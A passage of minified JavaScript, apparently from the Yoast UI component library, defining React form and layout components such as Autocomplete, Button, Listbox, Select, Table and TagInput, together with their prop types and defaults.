yst-mb-2"},l().createElement(et.Label,u,o),p),l().createElement("div",{className:"yst-relative"},l().createElement(Rt,e({as:wt,"data-id":t,validation:y,className:"yst-autocomplete__button"},g),l().createElement(et.Input,{className:"yst-autocomplete__input",autoComplete:"off",placeholder:b,displayValue:R,onChange:f}),E.nullable&&s&&l().createElement(Ct,{onChange:m,svgAriaProps:w,screenReaderText:h}),!(null!=y&&y.message)&&l().createElement(Nt,e({className:"yst-autocomplete__button-icon"},w))),l().createElement(vt,{as:i.Fragment,enter:"yst-transition yst-duration-100 yst-ease-out",enterFrom:"yst-transform yst-scale-95 yst-opacity-0",enterTo:"yst-transform yst-scale-100 yst-opacity-100",leave:"yst-transition yst-duration-75 yst-ease-out",leaveFrom:"yst-transform yst-scale-100 yst-opacity-100",leaveTo:"yst-transform yst-scale-95 yst-opacity-0"},l().createElement(et.Options,{className:"yst-autocomplete__options"},a))))})),kt={id:o().string.isRequired,value:o().oneOfType([o().string,o().number,o().bool]),children:o().node,selectedLabel:o().string,label:o().string,labelProps:o().object,labelSuffix:o().node,onChange:o().func.isRequired,onQueryChange:o().func.isRequired,validation:o().shape({variant:o().string,message:o().node}),placeholder:o().string,className:o().string,buttonProps:o().object,clearButtonScreenReaderText:o().string,nullable:o().bool,disabled:o().bool};St.displayName="Autocomplete",St.propTypes=kt,St.defaultProps={children:null,value:null,selectedLabel:"",label:"",labelProps:{},labelSuffix:null,validation:{},placeholder:"",className:"",buttonProps:{},clearButtonScreenReaderText:"Clear",nullable:!1,disabled:!1},St.Option=Tt,St.Option.displayName="Autocomplete.Option";const Pt=St,_t={variant:{info:"yst-badge--info",upsell:"yst-badge--upsell",plain:"yst-badge--plain"},size:{default:"",small:"yst-badge--small",large:"yst-badge--large"}},Lt=(0,i.forwardRef)((({children:t,as:n,variant:a,size:s,className:o,...i},c)=>l().createElement(n,e({ref:c,className:r()("yst-badge",_t.variant[a],_t.size[s],o)},i),t))),It={children:o().node.isRequired,as:o().elementType,variant:o().oneOf(Object.keys(_t.variant)),size:o().oneOf(Object.keys(_t.size)),className:o().string};Lt.displayName="Badge",Lt.propTypes=It,Lt.defaultProps={as:"span",variant:"info",size:"default",className:""};const Ft=Lt,Dt={variant:{default:"",primary:"yst-text-primary-500",white:"yst-text-white"},size:{3:"yst-w-3 yst-h-3",4:"yst-w-4 yst-h-4",8:"yst-w-8 yst-h-8"}},Mt=(0,i.forwardRef)((({variant:t,size:n,className:a},s)=>{const o=d();return l().createElement("svg",e({ref:s,xmlns:"http://www.w3.org/2000/svg/",fill:"none",viewBox:"0 0 24 24",className:r()("yst-animate-spin",Dt.variant[t],Dt.size[n],a)},o),l().createElement("circle",{className:"yst-opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),l().createElement("path",{className:"yst-opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"}))}));Mt.displayName="Spinner",Mt.propTypes={variant:o().oneOf((0,c.keys)(Dt.variant)),size:o().oneOf((0,c.keys)(Dt.size)),className:o().string},Mt.defaultProps={variant:"default",size:"4",className:""};const qt=Mt,At={variant:{primary:"yst-button--primary",secondary:"yst-button--secondary",tertiary:"yst-button--tertiary",error:"yst-button--error",upsell:"yst-button--upsell"},size:{default:"",small:"yst-button--small",large:"yst-button--large","extra-large":"yst-button--extra-large"}},jt=(0,i.forwardRef)((({children:t,as:n,type:a,variant:s,size:o,isLoading:i,disabled:c,className:d,...u},p)=>l().createElement(n,e({type:a||"button"===n&&"button"||void 0,disabled:c,ref:p,className:r()("yst-button",At.variant[s],At.size[o],i&&"yst-cursor-wait",c&&"yst-button--disabled",d)},u),i&&l().createElement(qt,{size:"small"===o?"3":"4",className:"yst--ml-1 yst-mr-2"}),t)));jt.displayName="Button",jt.propTypes={children:o().node.isRequired,as:o().elementType,type:o().oneOf(["button","submit","reset"]),variant:o().oneOf((0,c.keys)(At.variant)),size:o().oneOf((0,c.keys)(At.size)),isLoading:o().bool,disabled:o().bool,className:o().string},jt.defaultProps={as:"button",type:void 0,variant:"primary",size:"default",isLoading:!1,disabled:!1,className:""};const Bt=jt,Ht=(0,i.forwardRef)((({as:t,className:n,label:a,children:s,...o},i)=>l().createElement(t,e({ref:i,className:r()("yst-label",n)},o),a||s||null)));Ht.displayName="Label",Ht.propTypes={label:o().string,children:o().string,as:o().elementType,className:o().string},Ht.defaultProps={label:"",children:"",as:"label",className:""};const zt=Ht,$t=(0,i.forwardRef)((({id:t,name:n,value:a,label:s,disabled:o,className:i,...c},d)=>l().createElement("div",{className:r()("yst-checkbox",o&&"yst-checkbox--disabled",i)},l().createElement("input",e({ref:d,type:"checkbox",id:t,name:n,value:a,disabled:o,className:"yst-checkbox__input"},c)),l().createElement(zt,{htmlFor:t,className:"yst-checkbox__label",label:s}))));$t.displayName="Checkbox",$t.propTypes={id:o().string.isRequired,name:o().string.isRequired,value:o().string.isRequired,label:o().string.isRequired,className:o().string,disabled:o().bool},$t.defaultProps={className:"",disabled:!1};const Vt=$t,Ut={variant:{default:"",block:"yst-code--block"}},Wt=(0,i.forwardRef)((({children:t,variant:n="default",className:a="",...s},o)=>l().createElement("code",e({ref:o,className:r()("yst-code",Ut.variant[n],a)},s),t)));Wt.displayName="Code",Wt.propTypes={children:o().node.isRequired,variant:o().oneOf(Object.keys(Ut.variant)),className:o().string},Wt.defaultProps={variant:"default",className:""};const Kt=Wt,Gt=n(35800).ErrorBoundary,Qt={variant:{default:"yst-link--default",primary:"yst-link--primary",error:"yst-link--error"}},Yt=(0,i.forwardRef)((({as:t,variant:n,className:a,children:s,...o},i)=>l().createElement(t,e({ref:i,className:r()("yst-link",Qt.variant[n],a)},o),s)));Yt.displayName="Link",Yt.propTypes={children:o().node.isRequired,variant:o().oneOf(Object.keys(Qt.variant)),as:o().elementType,className:o().string},Yt.defaultProps={as:"a",variant:"default",className:""};const Zt=Yt,Xt=({as:e,className:t,children:n})=>l().createElement(e,{className:r()("yst-paper__content",t)},n);Xt.propTypes={as:o().node,className:o().string,children:o().node.isRequired},Xt.defaultProps={as:"div",className:""};const Jt=Xt,en=({as:e,className:t,children:n})=>l().createElement(e,{className:r()("yst-paper__header",t)},n);en.propTypes={as:o().node,className:o().string,children:o().node.isRequired},en.defaultProps={as:"header",className:""};const tn=en,nn=(0,i.forwardRef)((({as:e="div",className:t="",children:n},a)=>l().createElement(e,{ref:a,className:r()("yst-paper",t)},n)));nn.displayName="Paper",nn.propTypes={as:o().node,className:o().string,children:o().node.isRequired},nn.defaultProps={as:"div",className:""},nn.Header=tn,nn.Header.displayName="Paper.Header",nn.Content=Jt,nn.Content.displayName="Paper.Content";const an=nn,rn=(0,i.forwardRef)((({min:t,max:n,progress:a,className:s,...o},c)=>{const d=(0,i.useMemo)((()=>a/(n-t)*100),[t,n,a]);return l().createElement("div",e({ref:c,"aria-hidden":"true",className:r()("yst-progress-bar",s)},o),l().createElement("div",{className:"yst-progress-bar__progress",style:{width:`${d}%`}}))}));rn.displayName="ProgressBar",rn.propTypes={min:o().number.isRequired,max:o().number.isRequired,progress:o().number.isRequired,className:o().string},rn.defaultProps={className:""};const sn=rn,on=(0,i.forwardRef)((({id:t,name:n,value:a,label:s,screenReaderLabel:o,variant:i,disabled:c,className:p,isLabelDangerousHtml:m,...f},y)=>{const b=d();return"inline-block"===i?l().createElement("div",{className:r()("yst-radio","yst-radio--inline-block",c&&"yst-radio--disabled",p)},l().createElement("input",e({type:"radio",id:t,name:n,value:a,disabled:c,className:"yst-radio__input","aria-label":o},f)),l().createElement("span",{className:"yst-radio__content"},l().createElement(zt,{htmlFor:t,className:"yst-radio__label",label:m?null:s,dangerouslySetInnerHTML:m?{__html:s}:null}),l().createElement(u,e({className:"yst-radio__check"},b)))):l().createElement("div",{className:r()("yst-radio",c&&"yst-radio--disabled",p)},l().createElement("input",e({ref:y,type:"radio",id:t,name:n,value:a,disabled:c,className:"yst-radio__input"},f)),l().createElement(zt,{htmlFor:t,className:"yst-radio__label",label:m?null:s,dangerouslySetInnerHTML:m?{__html:s}:null}))}));on.displayName="Radio",on.propTypes={name:o().string.isRequired,id:o().string.isRequired,value:o().string.isRequired,label:o().string.isRequired,isLabelDangerousHtml:o().bool,screenReaderLabel:o().string,variant:o().oneOf(Object.keys({default:"","inline-block":"yst-radio--inline-block"})),disabled:o().bool,className:o().string},on.defaultProps={screenReaderLabel:"",variant:"default",disabled:!1,className:"",isLabelDangerousHtml:!1};const ln=on;var cn=(e=>(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(cn||{}),dn=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(dn||{}),un=(e=>(e[e.Pointer=0]="Pointer",e[e.Other=1]="Other",e))(un||{}),pn=(e=>(e[e.OpenListbox=0]="OpenListbox",e[e.CloseListbox=1]="CloseListbox",e[e.GoToOption=2]="GoToOption",e[e.Search=3]="Search",e[e.ClearSearch=4]="ClearSearch",e[e.RegisterOption=5]="RegisterOption",e[e.UnregisterOption=6]="UnregisterOption",e[e.RegisterLabel=7]="RegisterLabel",e))(pn||{});function mn(e,t=(e=>e)){let n=null!==e.activeOptionIndex?e.options[e.activeOptionIndex]:null,a=J(t(e.options.slice()),(e=>e.dataRef.current.domRef.current)),r=n?a.indexOf(n):null;return-1===r&&(r=null),{options:a,activeOptionIndex:r}}let fn={1:e=>e.dataRef.current.disabled||1===e.listboxState?e:{...e,activeOptionIndex:null,listboxState:1},0(e){if(e.dataRef.current.disabled||0===e.listboxState)return e;let t=e.activeOptionIndex,{isSelected:n}=e.dataRef.current,a=e.options.findIndex((e=>n(e.dataRef.current.value)));return-1!==a&&(t=a),{...e,listboxState:0,activeOptionIndex:t}},2(e,t){var n;if(e.dataRef.current.disabled||1===e.listboxState)return e;let a=mn(e),r=ce(t,{resolveItems:()=>a.options,resolveActiveIndex:()=>a.activeOptionIndex,resolveId:e=>e.id,resolveDisabled:e=>e.dataRef.current.disabled});return{...e,...a,searchQuery:"",activeOptionIndex:r,activationTrigger:null!=(n=t.trigger)?n:1}},3:(e,t)=>{if(e.dataRef.current.disabled||1===e.listboxState)return e;let n=""!==e.searchQuery?0:1,a=e.searchQuery+t.value.toLowerCase(),r=(null!==e.activeOptionIndex?e.options.slice(e.activeOptionIndex+n).concat(e.options.slice(0,e.activeOptionIndex+n)):e.options).find((e=>{var t;return!e.dataRef.current.disabled&&(null==(t=e.dataRef.current.textValue)?void 0:t.startsWith(a))})),s=r?e.options.indexOf(r):-1;return-1===s||s===e.activeOptionIndex?{...e,searchQuery:a}:{...e,searchQuery:a,activeOptionIndex:s,activationTrigger:1}},4:e=>e.dataRef.current.disabled||1===e.listboxState||""===e.searchQuery?e:{...e,searchQuery:""},5:(e,t)=>{let n={id:t.id,dataRef:t.dataRef},a=mn(e,(e=>[...e,n]));return null===e.activeOptionIndex&&e.dataRef.current.isSelected(t.dataRef.current.value)&&(a.activeOptionIndex=a.options.indexOf(n)),{...e,...a}},6:(e,t)=>{let n=mn(e,(e=>{let n=e.findIndex((e=>e.id===t.id));return-1!==n&&e.splice(n,1),e}));return{...e,...n,activationTrigger:1}},7:(e,t)=>({...e,labelId:t.id})},yn=(0,i.createContext)(null);function bn(e){let t=(0,i.useContext)(yn);if(null===t){let t=new Error(`<${e} /> is missing a parent <Listbox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,bn),t}return t}yn.displayName="ListboxActionsContext";let vn=(0,i.createContext)(null);function gn(e){let t=(0,i.useContext)(vn);if(null===t){let t=new Error(`<${e} /> is missing a parent <Listbox /> component.`);throw Error.captureStackTrace&&Error.captureStackTrace(t,gn),t}return t}function hn(e,t){return H(t.type,fn,e,t)}vn.displayName="ListboxDataContext";let Nn=i.Fragment,En=ve((function(e,t){let{value:n,defaultValue:a,name:r,onChange:s,by:o=((e,t)=>e===t),disabled:l=!1,horizontal:c=!1,multiple:d=!1,...u}=e;const p=c?"horizontal":"vertical";let m=ie(t),[f=(d?[]:void 0),y]=_e(n,s,a),[b,v]=(0,i.useReducer)(hn,{dataRef:(0,i.createRef)(),listboxState:1,options:[],searchQuery:"",labelId:null,activeOptionIndex:null,activationTrigger:1}),g=(0,i.useRef)({static:!1,hold:!1}),h=(0,i.useRef)(null),N=(0,i.useRef)(null),E=(0,i.useRef)(null),x=q("string"==typeof o?(e,t)=>{let n=o;return(null==e?void 0:e[n])===(null==t?void 0:t[n])}:o),R=(0,i.useCallback)((e=>H(w.mode,{1:()=>f.some((t=>x(t,e))),0:()=>x(f,e)})),[f]),w=(0,i.useMemo)((()=>({...b,value:f,disabled:l,mode:d?1:0,orientation:p,compare:x,isSelected:R,optionsPropsRef:g,labelRef:h,buttonRef:N,optionsRef:E})),[f,l,d,b]);_((()=>{b.dataRef.current=w}),[w]),ne([w.buttonRef,w.optionsRef],((e,t)=>{var n;v({type:1}),Y(t,Q.Loose)||(e.preventDefault(),null==(n=w.buttonRef.current)||n.focus())}),0===w.listboxState);let T=(0,i.useMemo)((()=>({open:0===w.listboxState,disabled:l,value:f})),[w,l,f]),O=q((e=>{let t=w.options.find((t=>t.id===e));!t||F(t.dataRef.current.value)})),C=q((()=>{if(null!==w.activeOptionIndex){let{dataRef:e,id:t}=w.options[w.activeOptionIndex];F(e.current.value),v({type:2,focus:le.Specific,id:t})}})),S=q((()=>v({type:0}))),k=q((()=>v({type:1}))),P=q(((e,t,n)=>e===le.Specific?v({type:2,focus:le.Specific,id:t,trigger:n}):v({type:2,focus:e,trigger:n}))),L=q(((e,t)=>(v({type:5,id:e,dataRef:t}),()=>v({type:6,id:e})))),I=q((e=>(v({type:7,id:e}),()=>v({type:7,id:null})))),F=q((e=>H(w.mode,{0:()=>null==y?void 0:y(e),1(){let t=w.value.slice(),n=t.findIndex((t=>x(t,e)));return-1===n?t.push(e):t.splice(n,1),null==y?void 0:y(t)}}))),D=q((e=>v({type:3,value:e}))),A=q((()=>v({type:4}))),j=(0,i.useMemo)((()=>({onChange:F,registerOption:L,registerLabel:I,goToOption:P,closeListbox:k,openListbox:S,selectActiveOption:C,selectOption:O,search:D,clearSearch:A})),[]),B={ref:m},z=(0,i.useRef)(null),$=M();return(0,i.useEffect)((()=>{!z.current||void 0!==a&&$.addEventListener(z.current,"reset",(()=>{F(a)}))}),[z,F]),i.createElement(yn.Provider,{value:j},i.createElement(vn.Provider,{value:w},i.createElement(ke,{value:H(w.listboxState,{0:Ce.Open,1:Ce.Closed})},null!=r&&null!=f&&Ee({[r]:f}).map((([e,t],n)=>i.createElement(Te,{features:we.Hidden,ref:0===n?e=>{var t;z.current=null!=(t=null==e?void 0:e.closest("form"))?t:null}:void 0,...ge({key:e,as:"input",type:"hidden",hidden:!0,readOnly:!0,name:e,value:t})}))),fe({ourProps:B,theirProps:u,slot:T,defaultTag:Nn,name:"Listbox"}))))})),xn=ve((function(e,t){var n;let a=B(),{id:r=`headlessui-listbox-button-${a}`,...s}=e,o=gn("Listbox.Button"),l=bn("Listbox.Button"),c=ie(o.buttonRef,t),d=M(),u=q((e=>{switch(e.key){case Pe.Space:case Pe.Enter:case Pe.ArrowDown:e.preventDefault(),l.openListbox(),d.nextFrame((()=>{o.value||l.goToOption(le.First)}));break;case Pe.ArrowUp:e.preventDefault(),l.openListbox(),d.nextFrame((()=>{o.value||l.goToOption(le.Last)}))}})),p=q((e=>{e.key===Pe.Space&&e.preventDefault()})),m=q((e=>{if(Ne(e.currentTarget))return e.preventDefault();0===o.listboxState?(l.closeListbox(),d.nextFrame((()=>{var e;return null==(e=o.buttonRef.current)?void 0:e.focus({preventScroll:!0})}))):(e.preventDefault(),l.openListbox())})),f=I((()=>{if(o.labelId)return[o.labelId,r].join(" ")}),[o.labelId,r]),y=(0,i.useMemo)((()=>({open:0===o.listboxState,disabled:o.disabled,value:o.value})),[o]);return fe({ourProps:{ref:c,id:r,type:re(e,o.buttonRef),"aria-haspopup":"listbox","aria-controls":null==(n=o.optionsRef.current)?void 0:n.id,"aria-expanded":o.disabled?void 0:0===o.listboxState,"aria-labelledby":f,disabled:o.disabled,onKeyDown:u,onKeyUp:p,onClick:m},theirProps:s,slot:y,defaultTag:"button",name:"Listbox.Button"})})),Rn=ve((function(e,t){let n=B(),{id:a=`headlessui-listbox-label-${n}`,...r}=e,s=gn("Listbox.Label"),o=bn("Listbox.Label"),l=ie(s.labelRef,t);_((()=>o.registerLabel(a)),[a]);let c=q((()=>{var e;return null==(e=s.buttonRef.current)?void 0:e.focus({preventScroll:!0})})),d=(0,i.useMemo)((()=>({open:0===s.listboxState,disabled:s.disabled})),[s]);return fe({ourProps:{ref:l,id:a,onClick:c},theirProps:r,slot:d,defaultTag:"label",name:"Listbox.Label"})})),wn=pe.RenderStrategy|pe.Static,Tn=ve((function(e,t){var n;let a=B(),{id:r=`headlessui-listbox-options-${a}`,...s}=e,o=gn("Listbox.Options"),l=bn("Listbox.Options"),c=ie(o.optionsRef,t),d=M(),u=M(),p=Se(),m=null!==p?p===Ce.Open:0===o.listboxState;(0,i.useEffect)((()=>{var e;let t=o.optionsRef.current;!t||0===o.listboxState&&t!==(null==(e=z(t))?void 0:e.activeElement)&&t.focus({preventScroll:!0})}),[o.listboxState,o.optionsRef]);let f=q((e=>{switch(u.dispose(),e.key){case Pe.Space:if(""!==o.searchQuery)return e.preventDefault(),e.stopPropagation(),l.search(e.key);case Pe.Enter:if(e.preventDefault(),e.stopPropagation(),null!==o.activeOptionIndex){let{dataRef:e}=o.options[o.activeOptionIndex];l.onChange(e.current.value)}0===o.mode&&(l.closeListbox(),D().nextFrame((()=>{var e;return null==(e=o.buttonRef.current)?void 0:e.focus({preventScroll:!0})})));break;case H(o.orientation,{vertical:Pe.ArrowDown,horizontal:Pe.ArrowRight}):return e.preventDefault(),e.stopPropagation(),l.goToOption(le.Next);case H(o.orientation,{vertical:Pe.ArrowUp,horizontal:Pe.ArrowLeft}):return e.preventDefault(),e.stopPropagation(),l.goToOption(le.Previous);case Pe.Home:case Pe.PageUp:return e.preventDefault(),e.stopPropagation(),l.goToOption(le.First);case Pe.End:case Pe.PageDown:return e.preventDefault(),e.stopPropagation(),l.goToOption(le.Last);case Pe.Escape:return e.preventDefault(),e.stopPropagation(),l.closeListbox(),d.nextFrame((()=>{var e;return null==(e=o.buttonRef.current)?void 0:e.focus({preventScroll:!0})}));case Pe.Tab:e.preventDefault(),e.stopPropagation();break;default:1===e.key.length&&(l.search(e.key),u.setTimeout((()=>l.clearSearch()),350))}})),y=I((()=>{var e,t,n;return null!=(n=null==(e=o.labelRef.current)?void 0:e.id)?n:null==(t=o.buttonRef.current)?void 0:t.id}),[o.labelRef.current,o.buttonRef.current]),b=(0,i.useMemo)((()=>({open:0===o.listboxState})),[o]);return fe({ourProps:{"aria-activedescendant":null===o.activeOptionIndex||null==(n=o.options[o.activeOptionIndex])?void 0:n.id,"aria-multiselectable":1===o.mode||void 0,"aria-labelledby":y,"aria-orientation":o.orientation,id:r,onKeyDown:f,role:"listbox",tabIndex:0,ref:c},theirProps:s,slot:b,defaultTag:"ul",features:wn,visible:m,name:"Listbox.Options"})})),On=ve((function(e,t){let n=B(),{id:a=`headlessui-listbox-option-${n}`,disabled:r=!1,value:s,...o}=e,l=gn("Listbox.Option"),c=bn("Listbox.Option"),d=null!==l.activeOptionIndex&&l.options[l.activeOptionIndex].id===a,u=l.isSelected(s),p=(0,i.useRef)(null),m=L({disabled:r,value:s,domRef:p,get textValue(){var e,t;return null==(t=null==(e=p.current)?void 0:e.textContent)?void 0:t.toLowerCase()}}),f=ie(t,p);_((()=>{if(0!==l.listboxState||!d||0===l.activationTrigger)return;let e=D();return e.requestAnimationFrame((()=>{var e,t;null==(t=null==(e=p.current)?void 0:e.scrollIntoView)||t.call(e,{block:"nearest"})})),e.dispose}),[p,d,l.listboxState,l.activationTrigger,l.activeOptionIndex]),_((()=>c.registerOption(a,m)),[m,a]);let y=q((e=>{if(r)return e.preventDefault();c.onChange(s),0===l.mode&&(c.closeListbox(),D().nextFrame((()=>{var e;return null==(e=l.buttonRef.current)?void 0:e.focus({preventScroll:!0})})))})),b=q((()=>{if(r)return c.goToOption(le.Nothing);c.goToOption(le.Specific,a)})),v=Fe(),g=q((e=>v.update(e))),h=q((e=>{!v.wasMoved(e)||r||d||c.goToOption(le.Specific,a,0)})),N=q((e=>{!v.wasMoved(e)||r||!d||c.goToOption(le.Nothing)})),E=(0,i.useMemo)((()=>({active:d,selected:u,disabled:r})),[d,u,r]);return fe({ourProps:{id:a,ref:f,role:"option",tabIndex:!0===r?void 0:-1,"aria-disabled":!0===r||void 0,"aria-selected":u,disabled:void 0,onClick:y,onFocus:b,onPointerEnter:g,onMouseEnter:g,onPointerMove:h,onMouseMove:h,onPointerLeave:N,onMouseLeave:N},theirProps:o,slot:E,defaultTag:"li",name:"Listbox.Option"})})),Cn=Object.assign(En,{Button:xn,Label:Rn,Options:Tn,Option:On});const Sn={value:o().oneOfType([o().string,o().number,o().bool]).isRequired,label:o().string.isRequired},kn=({value:t,label:n})=>{const a=d(),s=(0,i.useCallback)((({active:e,selected:t})=>r()("yst-select__option",e&&"yst-select__option--active",t&&"yst-select__option--selected")),[]);return l().createElement(Cn.Option,{value:t,className:s},(({selected:t})=>l().createElement(l().Fragment,null,l().createElement("span",{className:r()("yst-select__option-label",t&&"yst-font-semibold")},n),t&&l().createElement(ht,e({className:"yst-select__option-check"},a)))))};kn.propTypes=Sn;const Pn=(0,i.forwardRef)((({id:t,value:n,options:a,children:s,selectedLabel:o,label:c,labelProps:u,labelSuffix:p,onChange:m,disabled:f,validation:y,className:b,buttonProps:v,...g},h)=>{const N=(0,i.useMemo)((()=>a.find((e=>n===(null==e?void 0:e.value)))||a[0]),[n,a]),E=d();return l().createElement(Cn,e({ref:h,as:"div",value:n,onChange:m,disabled:f,className:r()("yst-select",f&&"yst-select--disabled",b)},g),c&&l().createElement("div",{className:"yst-flex yst-items-center yst-mb-2"},l().createElement(Cn.Label,e({as:zt},u),c),p),l().createElement(Rt,e({as:Cn.Button,"data-id":t,className:"yst-select__button",validation:y},v),l().createElement("span",{className:"yst-select__button-label"},o||(null==N?void 0:N.label)||""),!(null!=y&&y.message)&&l().createElement(Nt,e({className:"yst-select__button-icon"},E))),l().createElement(vt,{as:i.Fragment,enter:"yst-transition yst-duration-100 yst-ease-out",enterFrom:"yst-transform yst-scale-95 yst-opacity-0",enterTo:"yst-transform yst-scale-100 yst-opacity-100",leave:"yst-transition yst-duration-75 yst-ease-out",leaveFrom:"yst-transform yst-scale-100 yst-opacity-100",leaveTo:"yst-transform yst-scale-95 yst-opacity-0"},l().createElement(Cn.Options,{className:"yst-select__options"},s||a.map((t=>l().createElement(kn,e({key:t.value},t)))))))}));Pn.displayName="Select",Pn.propTypes={id:o().string.isRequired,value:o().oneOfType([o().string,o().number,o().bool]).isRequired,options:o().arrayOf(o().shape(Sn)),children:o().node,selectedLabel:o().string,label:o().string,labelProps:o().object,labelSuffix:o().node,onChange:o().func.isRequired,disabled:o().bool,validation:o().shape({variant:o().string,message:o().node}),className:o().string,buttonProps:o().object},Pn.defaultProps={options:[],children:null,selectedLabel:"",label:"",labelProps:{},labelSuffix:null,disabled:!1,validation:{},className:"",buttonProps:{}},Pn.Option=kn,Pn.Option.displayName="Select.Option";const Ln=Pn,In=({as:e,className:t,children:n})=>l().createElement(e,{className:r()("yst-skeleton-loader",t)},n&&l().createElement("div",{className:"yst-pointer-events-none yst-invisible"},n));In.propTypes={as:o().elementType,className:o().string,children:o().node},In.defaultProps={as:"span",className:"",children:null};const Fn=In,Dn={variant:{striped:"even:yst-bg-slate-50 odd:yst-bg-white",plain:""}},Mn=({children:t,className:n="",...a})=>l().createElement("td",e({className:r()("yst-table-cell yst-px-3 yst-py-4 yst-text-sm yst-text-slate-500",n)},a),t);Mn.propTypes={children:o().node.isRequired,variant:o().oneOf(Object.keys(Dn.variant)),className:o().string};const qn=({children:t,variant:n="plain",className:a="",...s})=>l().createElement("tr",e({className:r()("yst-table-row",Dn.variant[n],a)},s),t);qn.propTypes={children:o().node.isRequired,variant:o().oneOf(Object.keys(Dn.variant)),className:o().string};const An=({children:t,className:n="",...a})=>l().createElement("th",e({className:r()("yst-table-header yst-px-3 yst-py-4 yst-text-left yst-text-sm yst-font-semibold yst-text-slate-900",n)},a),t);An.propTypes={children:o().node.isRequired,className:o().string};const jn=({children:t,className:n="",...a})=>l().createElement("thead",e({className:r()("yst-bg-slate-50",n)},a),t);jn.propTypes={children:o().node.isRequired,className:o().string};const Bn=({children:t,className:n="",...a})=>l().createElement("tbody",e({className:r()("yst-divide-y yst-divide-gray-200 yst-bg-white",n)},a),t);Bn.propTypes={children:o().node.isRequired,className:o().string};const Hn=(0,i.forwardRef)((({children:t,className:n="",...a},s)=>l().createElement("div",{className:"yst-table-wrapper yst-shadow yst-ring-1 yst-ring-black yst-ring-opacity-5"},l().createElement("table",e({className:r()("yst-min-w-full yst-divide-y yst-divide-slate-300",n)},a,{ref:s}),t))));Hn.displayName="Table",Hn.propTypes={children:o().node.isRequired,className:o().string},Hn.defaultProps={className:""},Hn.Head=jn,Hn.Head.displayName="Table.Head",Hn.Body=Bn,Hn.Body.displayName="Table.Body",Hn.Header=An,Hn.Header.displayName="Table.Header",Hn.Row=qn,Hn.Row.displayName="Table.Row",Hn.Cell=Mn,Hn.Cell.displayName="Table.Cell";const zn=Hn,$n=i.forwardRef((function(e,t){return i.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),i.createElement("path",{fillRule:"evenodd",d:"M4.293 4.293a1 1 0 011.414 0L10 8.586l4.293-4.293a1 1 0 111.414 1.414L11.414 10l4.293 4.293a1 1 0 01-1.414 1.414L10 11.414l-4.293 4.293a1 1 0 01-1.414-1.414L8.586 10 4.293 5.707a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Vn=({tag:t,index:n,disabled:a=!1,onRemoveTag:r,screenReaderRemoveTag:s,...o})=>{const c=(0,i.useCallback)((e=>{if(!a)switch(null==e?void 0:e.key){case"Delete":case"Backspace":return r(n),e.preventDefault(),!0}}),[n,a,r]),d=(0,i.useCallback)((e=>{if(!a)return r(n),e.preventDefault(),!0}),[n,a,r]);return l().createElement(Ft,e({onKeyDown:c},o,{variant:"plain",className:"yst-tag-input__tag"}),l().createElement("span",{className:"yst-mb-px"},t),l().createElement("button",{type:"button",onClick:d,className:"yst-tag-input__remove-tag"},l().createElement("span",{className:"yst-sr-only"},s),l().createElement($n,{className:"yst-h-3 yst-w-3"})))};Vn.propTypes={tag:o().string.isRequired,index:o().number.isRequired,disabled:o().bool,onRemoveTag:o().func.isRequired,screenReaderRemoveTag:o().string.isRequired};const Un=(0,i.forwardRef)((({tags:t=[],children:n,className:a,disabled:s,onAddTag:o,onRemoveTag:d,onSetTags:u,onBlur:p,screenReaderRemoveTag:m,...f},y)=>{const[b,v]=(0,i.useState)(""),g=(0,i.useCallback)((e=>{var t;(0,c.isString)(null==e||null===(t=e.target)||void 0===t?void 0:t.value)&&v(e.target.value)}),[v]),h=(0,i.useCallback)((e=>{switch(e.key){case",":case"Enter":return b.length>0&&(o(b),v("")),e.preventDefault(),!0;case"Backspace":if(0!==b.length||0===t.length)break;return d(t.length-1),e.ctrlKey&&u([]),e.preventDefault(),!0}}),[b,t,v,o]),N=(0,i.useCallback)((e=>{b.length>0&&(o(b),v("")),p(e)}),[b,o,v,p]);return l().createElement("div",{className:r()("yst-tag-input",s&&"yst-tag-input--disabled",a)},n||(0,c.map)(t,((e,t)=>l().createElement(Vn,{key:`tag-${t}`,tag:e,index:t,disabled:s,onRemoveTag:d,screenReaderRemoveTag:m}))),l().createElement("input",e({ref:y,type:"text",disabled:s,className:"yst-tag-input__input",onKeyDown:h},f,{onChange:g,onBlur:N,value:b})))}));Un.displayName="TagInput",Un.propTypes={tags:o().arrayOf(o().string),children:o().node,className:o().string,disabled:o().bool,onAddTag:o().func,onRemoveTag:o().func,onSetTags:o().func,onBlur:o().func,screenReaderRemoveTag:o().string},Un.defaultProps={tags:[],children:null,className:"",disabled:!1,onAddTag:c.noop,onRemoveTag:c.noop,onSetTags:c.noop,onBlur:c.noop,screenReaderRemoveTag:"Remove tag"},Un.Tag=Vn,Un.Tag.displayName="TagInput.Tag";const Wn=Un,Kn=(0,i.forwardRef)((({type:t,className:n,disabled:a,readOnly:s,...o},i)=>l().createElement("input",e({ref:i,type:t,className:r()("yst-text-input",a&&"yst-text-input--disabled",s&&"yst-text-input--read-only",n),disabled:a,readOnly:s},o))));Kn.displayName="TextInput",Kn.propTypes={type:o().string,className:o().string,disabled:o().bool,readOnly:o().bool},Kn.defaultProps={type:"text",className:"",disabled:!1,readOnly:!1};const Gn=Kn,Qn=(0,i.forwardRef)((({disabled:t,cols:n,rows:a,className:s,...o},i)=>l().createElement("textarea",e({ref:i,disabled:t,cols:n,rows:a,className:r()("yst-textarea",t&&"yst-textarea--disabled",s)},o))));Qn.displayName="Textarea",Qn.propTypes={className:o().string,disabled:o().bool,cols:o().number,rows:o().number},Qn.defaultProps={className:"",disabled:!1,cols:20,rows:2};const 